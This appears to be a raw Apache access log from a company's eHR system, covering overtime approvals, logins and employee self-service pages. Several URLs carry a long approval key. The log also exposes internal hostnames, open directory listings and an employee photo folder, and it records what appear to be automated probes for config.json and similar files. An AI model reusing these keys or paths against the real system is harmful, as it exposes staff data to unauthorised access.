100.64.0.1 - - [03/Sep/2025:11:08:27 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889
100.64.0.1 - - [03/Sep/2025:11:08:27 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:08:27 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/ HTTP/1.1" 200 10845
100.64.0.1 - - [03/Sep/2025:11:08:27 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/ HTTP/1.1" 200 10845 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:09:44 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:11:09:44 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:11:12:09 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:11:12:09 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:11:17:11 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:11:17:11 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:11:18:27 +0800] "HEAD /ehr/mgr/batchapprove.php?key=7C6666DC02DC78F97CA2DE064C8D2371485DECD12522A3B0D22B24A22E72A87361D2ED7A2A3680C0A31F94AB57756D00 HTTP/1.1" 302 -
100.64.0.1 - - [03/Sep/2025:11:18:27 +0800] "HEAD /ehr/mgr/batchapprove.php?key=7C6666DC02DC78F97CA2DE064C8D2371485DECD12522A3B0D22B24A22E72A87361D2ED7A2A3680C0A31F94AB57756D00 HTTP/1.1" 302 - "-" "-"
100.64.0.1 - - [03/Sep/2025:11:18:30 +0800] "GET /ehr/mgr/batchapprove.php?key=7C6666DC02DC78F97CA2DE064C8D2371485DECD12522A3B0D22B24A22E72A87361D2ED7A2A3680C0A31F94AB57756D00 HTTP/1.1" 302 -
100.64.0.1 - - [03/Sep/2025:11:18:30 +0800] "GET /ehr/mgr/batchapprove.php?key=7C6666DC02DC78F97CA2DE064C8D2371485DECD12522A3B0D22B24A22E72A87361D2ED7A2A3680C0A31F94AB57756D00 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [03/Sep/2025:11:18:29 +0800] "HEAD /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F97CA2DE064C8D2371485DECD12522A3B0D22B24A22E72A87361D2ED7A2A3680C0A31F94AB57756D00 HTTP/1.1" 200 -
100.64.0.1 - - [03/Sep/2025:11:18:29 +0800] "HEAD /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F97CA2DE064C8D2371485DECD12522A3B0D22B24A22E72A87361D2ED7A2A3680C0A31F94AB57756D00 HTTP/1.1" 200 - "-" "-"
100.64.0.1 - - [03/Sep/2025:11:18:30 +0800] "GET /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F97CA2DE064C8D2371485DECD12522A3B0D22B24A22E72A87361D2ED7A2A3680C0A31F94AB57756D00 HTTP/1.1" 200 13484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [03/Sep/2025:11:18:30 +0800] "GET /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F97CA2DE064C8D2371485DECD12522A3B0D22B24A22E72A87361D2ED7A2A3680C0A31F94AB57756D00 HTTP/1.1" 200 13484
100.64.0.1 - - [03/Sep/2025:11:18:36 +0800] "POST /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F97CA2DE064C8D2371485DECD12522A3B0D22B24A22E72A87361D2ED7A2A3680C0A31F94AB57756D00 HTTP/1.1" 302 128
100.64.0.1 - - [03/Sep/2025:11:18:36 +0800] "POST /ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F97CA2DE064C8D2371485DECD12522A3B0D22B24A22E72A87361D2ED7A2A3680C0A31F94AB57756D00 HTTP/1.1" 302 128 "http://hcp.maglayers.com.cn:8088/ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F97CA2DE064C8D2371485DECD12522A3B0D22B24A22E72A87361D2ED7A2A3680C0A31F94AB57756D00" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [03/Sep/2025:11:18:37 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131046%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131046&target=iframe HTTP/1.1" 302 108
100.64.0.1 - - [03/Sep/2025:11:18:37 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131046%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131046&target=iframe HTTP/1.1" 302 108 "http://hcp.maglayers.com.cn:8088/ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F97CA2DE064C8D2371485DECD12522A3B0D22B24A22E72A87361D2ED7A2A3680C0A31F94AB57756D00" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [03/Sep/2025:11:18:37 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826 "http://hcp.maglayers.com.cn:8088/ehr/mgr/redirect.php?scriptname=overtime_approve&key=7C6666DC02DC78F97CA2DE064C8D2371485DECD12522A3B0D22B24A22E72A87361D2ED7A2A3680C0A31F94AB57756D00" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [03/Sep/2025:11:18:37 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826
100.64.0.1 - - [03/Sep/2025:11:18:45 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [03/Sep/2025:11:18:45 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 -
100.64.0.1 - - [03/Sep/2025:11:18:50 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7223
100.64.0.1 - - [03/Sep/2025:11:18:50 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7223 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [03/Sep/2025:11:18:52 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 8889
100.64.0.1 - - [03/Sep/2025:11:18:52 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 8889 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [03/Sep/2025:11:22:23 +0800] "\x16\x03\x01\x01\x17\x01" 501 208
100.64.0.1 - - [03/Sep/2025:11:22:23 +0800] "\x16\x03\x01\x01\x17\x01" 501 208 "-" "-"
100.64.0.1 - - [03/Sep/2025:11:22:34 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
100.64.0.1 - - [03/Sep/2025:11:22:34 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:11:22:34 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:11:22:34 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:11:22:39 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [03/Sep/2025:11:22:39 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:22:39 +0800] "GET /robots.txt HTTP/1.1" 404 208
100.64.0.1 - - [03/Sep/2025:11:22:39 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:22:39 +0800] "GET /sitemap.xml HTTP/1.1" 404 209
100.64.0.1 - - [03/Sep/2025:11:22:39 +0800] "GET /sitemap.xml HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:22:39 +0800] "GET /config.json HTTP/1.1" 404 209
100.64.0.1 - - [03/Sep/2025:11:22:39 +0800] "GET /config.json HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:22:40 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:11:22:40 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:22:40 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478
100.64.0.1 - - [03/Sep/2025:11:22:40 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:22:40 +0800] "GET /eHR/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:11:22:40 +0800] "GET /eHR/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:22:40 +0800] "GET /eHR1/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:11:22:40 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:22:40 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:22:40 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:11:22:40 +0800] "GET /idcard/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:11:22:40 +0800] "GET /idcard/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:22:41 +0800] "GET /Apache2.2/ HTTP/1.1" 404 208
100.64.0.1 - - [03/Sep/2025:11:22:41 +0800] "GET /Apache2.2/ HTTP/1.1" 404 208 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:22:41 +0800] "GET /emphoto/ HTTP/1.1" 200 25014
100.64.0.1 - - [03/Sep/2025:11:22:41 +0800] "GET /emphoto/ HTTP/1.1" 200 25014 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:22:41 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:11:22:41 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:22:41 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478
100.64.0.1 - - [03/Sep/2025:11:22:41 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:22:41 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125
100.64.0.1 - - [03/Sep/2025:11:22:41 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:22:42 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:22:42 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889
100.64.0.1 - - [03/Sep/2025:11:22:42 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/ HTTP/1.1" 200 10845
100.64.0.1 - - [03/Sep/2025:11:22:42 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/ HTTP/1.1" 200 10845 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:11:24:32 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:11:24:32 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:11:27:20 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:11:27:20 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:11:28:56 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:11:28:56 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:11:28:56 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:11:28:56 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:11:29:00 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:11:29:00 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:11:30:11 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:11:30:11 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:11:31:14 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:11:31:14 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:11:32:41 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:11:32:41 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:11:33:36 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:11:33:36 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:11:34:19 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:11:34:19 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:11:39:10 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:11:39:10 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:11:39:42 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:11:39:42 +0800] "GET / HTTP/1.0" 200 439
192.168.12.66 - - [03/Sep/2025:11:40:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:40:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.12.66 - - [03/Sep/2025:11:40:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.12.66 - - [03/Sep/2025:11:40:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:40:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 302 -
192.168.12.66 - - [03/Sep/2025:11:40:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:40:08 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.66 - - [03/Sep/2025:11:40:08 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:40:08 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.66 - - [03/Sep/2025:11:40:08 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:40:10 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:40:10 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.66 - - [03/Sep/2025:11:40:16 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.12.66 - - [03/Sep/2025:11:40:16 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:40:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9890
192.168.12.66 - - [03/Sep/2025:11:40:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9890 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:40:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:40:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051
192.168.12.66 - - [03/Sep/2025:11:40:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.12.66 - - [03/Sep/2025:11:40:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
100.64.0.1 - - [03/Sep/2025:11:40:35 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:11:40:35 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
192.168.12.66 - - [03/Sep/2025:11:40:58 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:40:58 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.12.66 - - [03/Sep/2025:11:40:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 102555 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:40:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 102555
192.168.12.66 - - [03/Sep/2025:11:41:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.12.66 - - [03/Sep/2025:11:41:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:41:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:41:08 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369
100.64.0.1 - - [03/Sep/2025:11:41:46 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:11:41:46 +0800] "GET / HTTP/1.0" 200 439
192.168.12.66 - - [03/Sep/2025:11:41:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [03/Sep/2025:11:41:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051
